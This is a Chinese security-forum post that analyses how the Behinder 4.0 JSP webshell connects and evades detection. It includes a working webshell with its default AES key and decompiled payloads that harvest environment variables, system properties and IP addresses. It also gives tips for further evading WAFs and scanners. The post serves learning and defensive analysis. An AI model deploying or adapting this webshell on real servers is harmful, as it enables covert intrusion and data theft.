安全矩阵

 找回密码
 立即注册
搜索
查看: 938|回复: 0

冰蝎4.0jsp木马浅析

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 14:06:49 | 显示全部楼层 |阅读模式
前言
这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备

工作流程
冰蝎准备一个经过加密的字节码,放入请求体中
服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果
将获取到的结果通过设置的密钥加密,返回给客户端
客户端通过密钥解密
由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取
  1. <p>
  2. </p><p>import org.springframework.util.DigestUtils;</p><p>import java.security.NoSuchAlgorithmException;</p><p>
  3. </p><p>public class GenerateKey {</p><p>
  4. </p><p>    public static void main(String[] args) throws NoSuchAlgorithmException {</p><p>        String key = "rebeyond";</p><p>        System.out.println(getMd5Key(key).substring(0, 16));</p><p>    }</p><p>
  5. </p><p>    public static String getMd5Key(String key){</p><p>        String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());</p><p>        return md5Key;</p><p>
  6. </p><p>    }</p><p>
  7. </p><p>}</p>
复制代码

这里使用的jsp木马如下

我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件,更直观一点
  1. <p>
  2. </p><p><%@ page contentType="text/html;charset=UTF-8" language="java" %></p><p><%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%></p><p><%@ page import="java.io.FileOutputStream" %></p><p><%!</p><p>    //自定义类加载器</p><p>    class U extends ClassLoader{</p><p>        U(ClassLoader c){</p><p>            super(c);</p><p>        }</p><p>        public Class g(byte []b)</p><p>        {</p><p>            //调用父类defineClass方法</p><p>            return super.defineClass(b,0,b.length);</p><p>        }</p><p>    }</p><p>%></p><p><%</p><p>    if (request.getMethod().equals("POST")){</p><p>        String k="e45e329feb5d925b";</p><p>        session.putValue("u",k);</p><p>        Cipher c=Cipher.getInstance("AES");</p><p>        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));</p><p>
  3. </p><p>//        获取客户端数据</p><p>        String line = request.getReader().readLine();</p><p>//        base64解码客户端数据</p><p>        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);</p><p>//        AES解密</p><p>        byte[] b1 = c.doFinal(b);</p><p>//        调用父类defineClass方法,将传入数据还原为Class对象</p><p>//这里的路径需要修改成你需要保存的路径</p><p>        FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");</p><p>        fo.write(b1);</p><p>        U u = new U(this.getClass().getClassLoader());</p><p>        Class clazz = u.g(b1);</p><p>//        实例化对象将输出写入pageContext</p><p>//        客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象</p><p>//        可以间接操作response,将执行结果写入response返回给客户端</p><p>        clazz.newInstance().equals(pageContext);</p><p>//        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</p><p>    }</p><p>%></p>
复制代码

这个jsp的木马也比较好理解,将密钥作为标识符设置到session中,然后判断是否为POST请求,如果是的话先获取客户端的请求体数据,然后先解码base64,然后解密获取class字节码数据,调用方法g来实例化对象,然后调用equals

代码分析
当点击shell列表中的shell时,会触发一系列的方法,这里涉及到javafx的东西,不在文章中简述



从doConnect开始跟进



Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串,后续会有使用

进入echo,带入生成的字符串



进入Utils.getData



进入Params.getParamedClass



getTransProtocoledClass



在之前传入的Echo,在这里组合成net.rebeyond.behinder.payload.java.Echo,就是冰蝎在第一次运行的时候需要请求信息,那么每次发送的payload都需要编译的话速度会非常慢,所以作者使用操作字节码的方式来发送payload

首先获取Echo的CtClass对象
修改类名
移除Encrypt方法
创建Encrypt方法
返回Echo的字节码

然后进入到getParamedClass方法中



在这里使用了做了以下的操作:

修改类名,随机命名
使用观察者模式来操作字节码,遇到其实就是无参构造方法的时候,进行操作,具体是啥这里先不解释
回到Utils,进入cryptor.encrypt


this.getEncodeCls();

这个方法,创建了一个名为test的类,类中包含默认的加密方法,以便于下面的字节码操作

通过反射获取Encrypt方法,利用这个方法加密前面获取Echo类的字节码

回到ShellService类



下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse



一直跟进



前面就是在添加header头,然后发送数据包



然后看服务器上
  1. <p>
  2. </p><p>//</p><p>// Source code recreated from a .class file by IntelliJ IDEA</p><p>// (powered by FernFlower decompiler)</p><p>//</p><p>
  3. </p><p>package net.ozfvwj.qjxyz;</p><p>
  4. </p><p>import java.lang.reflect.Method;</p><p>import java.util.Iterator;</p><p>import java.util.LinkedHashMap;</p><p>import java.util.Map;</p><p>import java.util.Random;</p><p>import javax.crypto.Cipher;</p><p>import javax.crypto.spec.SecretKeySpec;</p><p>
  5. </p><p>public class Vlfq {</p><p>    public static String content;</p><p>    public static String payloadBody;</p><p>    private Object Request;</p><p>    private Object Response;</p><p>    private Object Session;</p><p>
  6. </p><p>    public Vlfq() {</p><p>        content = "";</p><p>        content = content + "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";</p><p>        super();</p><p>    }</p><p>
  7. </p><p>    public boolean equals(Object obj) {</p><p>        LinkedHashMap result = new LinkedHashMap();</p><p>        boolean var13 = false;</p><p>
  8. </p><p>        Object so;</p><p>        Method write;</p><p>        label95: {</p><p>            try {</p><p>                var13 = true;</p><p>                this.fillContext(obj);</p><p>                result.put("status", "success");</p><p>                result.put("msg", content);</p><p>                var13 = false;</p><p>                break label95;</p><p>            } catch (Exception var19) {</p><p>                result.put("msg", var19.getMessage());</p><p>                result.put("status", "success");</p><p>                var13 = false;</p><p>            } finally {</p><p>                if (var13) {</p><p>                    try {</p><p>                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>                        write = so.getClass().getMethod("write", byte[].class);</p><p>                        System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));</p><p>                        write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));</p><p>                        so.getClass().getMethod("flush").invoke(so);</p><p>                        so.getClass().getMethod("close").invoke(so);</p><p>                    } catch (Exception var16) {</p><p>                        var16.printStackTrace();</p><p>                    }</p><p>                }</p><p>
  9. </p><p>            }</p><p>
  10. </p><p>            try {</p><p>                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>                write = so.getClass().getMethod("write", byte[].class);</p><p>                System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));</p><p>                write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));</p><p>                so.getClass().getMethod("flush").invoke(so);</p><p>                so.getClass().getMethod("close").invoke(so);</p><p>            } catch (Exception var17) {</p><p>                var17.printStackTrace();</p><p>            }</p><p>
  11. </p><p>            return true;</p><p>        }</p><p>
  12. </p><p>        try {</p><p>            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>            write = so.getClass().getMethod("write", byte[].class);</p><p>            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));</p><p>            so.getClass().getMethod("flush").invoke(so);</p><p>            so.getClass().getMethod("close").invoke(so);</p><p>        } catch (Exception var18) {</p><p>            var18.printStackTrace();</p><p>        }</p><p>
  13. </p><p>        return true;</p><p>    }</p><p>
  14. </p><p>    private String buildJson(Map entity, boolean encode) throws Exception {</p><p>        StringBuilder sb = new StringBuilder();</p><p>        String version = System.getProperty("java.version");</p><p>        sb.append("{");</p><p>        Iterator var5 = entity.keySet().iterator();</p><p>
  15. </p><p>        while(var5.hasNext()) {</p><p>            String key = (String)var5.next();</p><p>            sb.append(""" + key + "":"");</p><p>            String value = (String)entity.get(key);</p><p>            if (encode) {</p><p>                value = this.base64encode(value.getBytes());</p><p>            }</p><p>
  16. </p><p>            sb.append(value);</p><p>            sb.append("",");</p><p>        }</p><p>
  17. </p><p>        if (sb.toString().endsWith(",")) {</p><p>            sb.setLength(sb.length() - 1);</p><p>        }</p><p>
  18. </p><p>        sb.append("}");</p><p>        return sb.toString();</p><p>    }</p><p>
  19. </p><p>    private void fillContext(Object obj) throws Exception {</p><p>        if (obj.getClass().getName().indexOf("PageContext") >= 0) {</p><p>            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);</p><p>            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);</p><p>            this.Session = obj.getClass().getMethod("getSession").invoke(obj);</p><p>        } else {</p><p>            Map objMap = (Map)obj;</p><p>            this.Session = objMap.get("session");</p><p>            this.Response = objMap.get("response");</p><p>            this.Request = objMap.get("request");</p><p>        }</p><p>
  20. </p><p>        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");</p><p>    }</p><p>
  21. </p><p>    private String base64encode(byte[] data) throws Exception {</p><p>        String result = "";</p><p>        String version = System.getProperty("java.version");</p><p>
  22. </p><p>        Class Base64;</p><p>        try {</p><p>            this.getClass();</p><p>            Base64 = Class.forName("java.util.Base64");</p><p>            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);</p><p>            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);</p><p>        } catch (Throwable var7) {</p><p>            this.getClass();</p><p>            Base64 = Class.forName("sun.misc.BASE64Encoder");</p><p>            Object Encoder = Base64.newInstance();</p><p>            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);</p><p>            result = result.replace("\n", "").replace("\r", "");</p><p>        }</p><p>
  23. </p><p>        return result;</p><p>    }</p><p>
  24. </p><p>    private byte[] getMagic() throws Exception {</p><p>        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();</p><p>        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;</p><p>        Random random = new Random();</p><p>        byte[] buf = new byte[magicNum];</p><p>
  25. </p><p>        for(int i = 0; i < buf.length; ++i) {</p><p>            buf[i] = (byte)random.nextInt(256);</p><p>        }</p><p>
  26. </p><p>        return buf;</p><p>    }</p><p>
  27. </p><p>    private byte[] Encrypt(byte[] var1) throws Exception {</p><p>        String var2 = "e45e329feb5d925b";</p><p>        byte[] var3 = var2.getBytes("utf-8");</p><p>        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");</p><p>        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");</p><p>        var5.init(1, var4);</p><p>        byte[] var6 = var5.doFinal(var1);</p><p>
  28. </p><p>        Class var7;</p><p>        try {</p><p>            var7 = Class.forName("java.util.Base64");</p><p>            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);</p><p>            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);</p><p>        } catch (Throwable var12) {</p><p>            var7 = Class.forName("sun.misc.BASE64Encoder");</p><p>            Object var10 = var7.newInstance();</p><p>            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);</p><p>            var11 = var11.replace("\n", "").replace("\r", "");</p><p>            var6 = var11.getBytes();</p><p>        }</p><p>
  29. </p><p>        return var6;</p><p>    }</p><p>}</p>
复制代码

在服务器端的jsp木马调用的equals方法,来具体看看这一步做了什么

调用fillContext方法,来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了,传入的obj对象里面都包含需要用到的对象
获取response的write输出流,然后获取服务器的java版本,似乎没有用到这个版本信息,然后对result进行json处理
通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map
然后在对aes加密的内容做一个base64的编码



解码之后



发现这和发送的二进制流类字节码的代码中的content参数一致

然后我们发现在二进制流类中的构造方法



其实就对应了getParamedClass方法中对构造方法的操作

然后回到本地



这里就在处理一些服务器返回的信息,将response的headers赋值到resheaders中,然后进行迭代

将body里面的加密内容和data做一个map赋值到result中,服务器返回的数据里面是没有data这个东西的,这里需要注意一下,然后将返回的状态码和status以及返回包头和header做map处理,最后将result赋值给var22,返回var22

然后回到requestAndParse



取出data信息,就是返回包中的body信息,赋值到resultObj中,返回resultObj

回到shellService



取出header,然后手动创建一个status和msg的json字符串,为了后面与接受的比较,后续就是在做一个解密的操作了

回到doConnect方法

进行判断,返回的msg字符串是否和本地生成的一样







回到MainWindowController,在这里继续生成随机长度的字符串

然后继续进入getBasicInfo



进入parseCommonAction,在这里使用了BasicInfo这个类



进入getData



发现和上一步的类似,也是返回对应类的class字节码,对其加密,就不继续分析了,直接快进到doRequestAndParse发送请求

服务器接受到的类
  1. <p>
  2. </p><p>//</p><p>// Source code recreated from a .class file by IntelliJ IDEA</p><p>// (powered by FernFlower decompiler)</p><p>//</p><p>
  3. </p><p>package sun.wspc;</p><p>
  4. </p><p>import java.io.File;</p><p>import java.lang.reflect.Method;</p><p>import java.net.Inet4Address;</p><p>import java.net.InetAddress;</p><p>import java.net.NetworkInterface;</p><p>import java.util.Enumeration;</p><p>import java.util.HashMap;</p><p>import java.util.Iterator;</p><p>import java.util.Map;</p><p>import java.util.Properties;</p><p>import java.util.Random;</p><p>import java.util.Set;</p><p>import javax.crypto.Cipher;</p><p>import javax.crypto.spec.SecretKeySpec;</p><p>
  5. </p><p>public class Vmwqtmzls {</p><p>    public static String whatever;</p><p>    private Object Request;</p><p>    private Object Response;</p><p>    private Object Session;</p><p>
  6. </p><p>    public Vmwqtmzls() {</p><p>        whatever = "";</p><p>        whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";</p><p>        super();</p><p>    }</p><p>
  7. </p><p>    public boolean equals(Object obj) {</p><p>        HashMap result = new HashMap();</p><p>        boolean var22 = false;</p><p>
  8. </p><p>        Object so;</p><p>        Method write;</p><p>        label147: {</p><p>            try {</p><p>                var22 = true;</p><p>                this.fillContext(obj);</p><p>                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");</p><p>                Map env = System.getenv();</p><p>                Iterator var5 = env.keySet().iterator();</p><p>
  9. </p><p>                while(var5.hasNext()) {</p><p>                    String name = (String)var5.next();</p><p>                    basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");</p><p>                }</p><p>
  10. </p><p>                basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");</p><p>                Properties props = System.getProperties();</p><p>                Set entrySet = props.entrySet();</p><p>                Iterator var7 = entrySet.iterator();</p><p>
  11. </p><p>                while(var7.hasNext()) {</p><p>                    Map.Entry entry = (Map.Entry)var7.next();</p><p>                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");</p><p>                }</p><p>
  12. </p><p>                String currentPath = (new File("")).getAbsolutePath();</p><p>                String driveList = "";</p><p>                File[] roots = File.listRoots();</p><p>                File[] var10 = roots;</p><p>                int var11 = roots.length;</p><p>
  13. </p><p>                for(int var12 = 0; var12 < var11; ++var12) {</p><p>                    File f = var10[var12];</p><p>                    driveList = driveList + f.getPath() + ";";</p><p>                }</p><p>
  14. </p><p>                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");</p><p>                Map entity = new HashMap();</p><p>                entity.put("basicInfo", basicInfo.toString());</p><p>                entity.put("currentPath", currentPath);</p><p>                entity.put("driveList", driveList);</p><p>                entity.put("osInfo", osInfo);</p><p>                entity.put("arch", System.getProperty("os.arch"));</p><p>                entity.put("localIp", this.getInnerIp());</p><p>                result.put("status", "success");</p><p>                result.put("msg", this.buildJson(entity, true));</p><p>                var22 = false;</p><p>                break label147;</p><p>            } catch (Exception var32) {</p><p>                var22 = false;</p><p>            } finally {</p><p>                if (var22) {</p><p>                    try {</p><p>                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>                        write = so.getClass().getMethod("write", byte[].class);</p><p>                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));</p><p>                        so.getClass().getMethod("flush").invoke(so);</p><p>                        so.getClass().getMethod("close").invoke(so);</p><p>                    } catch (Exception var30) {</p><p>                    }</p><p>                }</p><p>
  15. </p><p>            }</p><p>
  16. </p><p>            try {</p><p>                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>                write = so.getClass().getMethod("write", byte[].class);</p><p>                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));</p><p>                so.getClass().getMethod("flush").invoke(so);</p><p>                so.getClass().getMethod("close").invoke(so);</p><p>            } catch (Exception var29) {</p><p>            }</p><p>
  17. </p><p>            return true;</p><p>        }</p><p>
  18. </p><p>        try {</p><p>            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);</p><p>            write = so.getClass().getMethod("write", byte[].class);</p><p>            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));</p><p>            so.getClass().getMethod("flush").invoke(so);</p><p>            so.getClass().getMethod("close").invoke(so);</p><p>        } catch (Exception var31) {</p><p>        }</p><p>
  19. </p><p>        return true;</p><p>    }</p><p>
  20. </p><p>    private String getInnerIp() {</p><p>        String ips = "";</p><p>
  21. </p><p>        try {</p><p>            Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();</p><p>            InetAddress ip = null;</p><p>
  22. </p><p>            while(netInterfaces.hasMoreElements()) {</p><p>                NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();</p><p>                Enumeration addresses = netInterface.getInetAddresses();</p><p>
  23. </p><p>                while(addresses.hasMoreElements()) {</p><p>                    ip = (InetAddress)addresses.nextElement();</p><p>                    if (ip != null && ip instanceof Inet4Address) {</p><p>                        ips = ips + ip.getHostAddress() + " ";</p><p>                    }</p><p>                }</p><p>            }</p><p>        } catch (Exception var6) {</p><p>        }</p><p>
  24. </p><p>        ips = ips.replace("127.0.0.1", "").trim();</p><p>        return ips;</p><p>    }</p><p>
  25. </p><p>    private String buildJson(Map entity, boolean encode) throws Exception {</p><p>        StringBuilder sb = new StringBuilder();</p><p>        String version = System.getProperty("java.version");</p><p>        sb.append("{");</p><p>        Iterator var5 = entity.keySet().iterator();</p><p>
  26. </p><p>        while(var5.hasNext()) {</p><p>            String key = (String)var5.next();</p><p>            sb.append(""" + key + "":"");</p><p>            String value = ((String)entity.get(key)).toString();</p><p>            if (encode) {</p><p>                Class Base64;</p><p>                Object Encoder;</p><p>                if (version.compareTo("1.9") >= 0) {</p><p>                    this.getClass();</p><p>                    Base64 = Class.forName("java.util.Base64");</p><p>                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);</p><p>                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));</p><p>                } else {</p><p>                    this.getClass();</p><p>                    Base64 = Class.forName("sun.misc.BASE64Encoder");</p><p>                    Encoder = Base64.newInstance();</p><p>                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));</p><p>                    value = value.replace("\n", "").replace("\r", "");</p><p>                }</p><p>            }</p><p>
  27. </p><p>            sb.append(value);</p><p>            sb.append("",");</p><p>        }</p><p>
  28. </p><p>        sb.setLength(sb.length() - 1);</p><p>        sb.append("}");</p><p>        return sb.toString();</p><p>    }</p><p>
  29. </p><p>    private String base64encode(byte[] data) throws Exception {</p><p>        String result = "";</p><p>        String version = System.getProperty("java.version");</p><p>
  30. </p><p>        Class Base64;</p><p>        try {</p><p>            this.getClass();</p><p>            Base64 = Class.forName("java.util.Base64");</p><p>            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);</p><p>            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);</p><p>        } catch (Throwable var7) {</p><p>            this.getClass();</p><p>            Base64 = Class.forName("sun.misc.BASE64Encoder");</p><p>            Object Encoder = Base64.newInstance();</p><p>            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);</p><p>            result = result.replace("\n", "").replace("\r", "");</p><p>        }</p><p>
  31. </p><p>        return result;</p><p>    }</p><p>
  32. </p><p>    private void fillContext(Object obj) throws Exception {</p><p>        if (obj.getClass().getName().indexOf("PageContext") >= 0) {</p><p>            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);</p><p>            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);</p><p>            this.Session = obj.getClass().getMethod("getSession").invoke(obj);</p><p>        } else {</p><p>            Map objMap = (Map)obj;</p><p>            this.Session = objMap.get("session");</p><p>            this.Response = objMap.get("response");</p><p>            this.Request = objMap.get("request");</p><p>        }</p><p>
  33. </p><p>        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");</p><p>    }</p><p>
  34. </p><p>    private byte[] getMagic() throws Exception {</p><p>        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();</p><p>        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;</p><p>        Random random = new Random();</p><p>        byte[] buf = new byte[magicNum];</p><p>
  35. </p><p>        for(int i = 0; i < buf.length; ++i) {</p><p>            buf[i] = (byte)random.nextInt(256);</p><p>        }</p><p>
  36. </p><p>        return buf;</p><p>    }</p><p>
  37. </p><p>    private byte[] Encrypt(byte[] var1) throws Exception {</p><p>        String var2 = "e45e329feb5d925b";</p><p>        byte[] var3 = var2.getBytes("utf-8");</p><p>        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");</p><p>        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");</p><p>        var5.init(1, var4);</p><p>        byte[] var6 = var5.doFinal(var1);</p><p>
  38. </p><p>        Class var7;</p><p>        try {</p><p>            var7 = Class.forName("java.util.Base64");</p><p>            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);</p><p>            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);</p><p>        } catch (Throwable var12) {</p><p>            var7 = Class.forName("sun.misc.BASE64Encoder");</p><p>            Object var10 = var7.newInstance();</p><p>            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);</p><p>            var11 = var11.replace("\n", "").replace("\r", "");</p><p>            var6 = var11.getBytes();</p><p>        }</p><p>
  39. </p><p>        return var6;</p><p>    }</p><p>}</p>
复制代码

可以看见这里获取了环境变量以及jar系统信息






在这里也是同样的,处理返回的信息

这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中

总结
在看完了冰蝎是怎么连接之后,对于冰蝎的工作原理也有了一定的理解,本地和服务器端都做加密和解密的操作,以此来绕过流量检测设备以及一些waf,而且通过动态的加载class字节码,也可以绕过一些普通的webshell查杀设备,后续的一些绕过,可以在加密方式以及特征值的修改上入手

参考链接
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
https://github.com/rebeyond/Behinder
https://github.com/MountCloud/BehinderClientSource

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:30 , Processed in 0.013818 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表